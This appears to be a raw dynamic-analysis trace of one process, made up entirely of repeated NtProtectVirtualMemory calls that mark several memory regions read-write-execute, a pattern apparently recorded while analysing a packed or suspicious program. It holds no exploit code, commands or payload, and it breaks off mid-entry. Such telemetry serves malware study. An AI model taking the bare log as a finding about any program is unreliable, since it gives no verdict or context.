[0333.121] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.131] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.141] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.151] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.168] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.179] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.189] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.199] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.216] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.227] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.237] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.248] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.264] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.275] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.285] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.295] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.312] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.328] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.343] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.371] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.381] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.392] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.402] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.419] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.429] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.440] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.451] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.467] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.478] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.489] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.499] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.516] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.530] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.545] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.563] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.573] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.584] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.601] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.611] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.621] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.633] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.650] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.660] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.671] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.683] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.699] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.766] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.777] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.803] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.813] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.824] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.840] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.852] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.869] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.895] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.912] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.938] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.955] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.983] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.000] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.015] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.039] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.086] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.111] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.126] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.140] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.164] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.179] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.203] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.218] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.233] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.256] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.271] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.295] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.310] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.326] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.350] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.375] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.391] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.426] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.442] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.465] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.478] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.491] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.512] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.526] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.539] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.565] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.578] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, 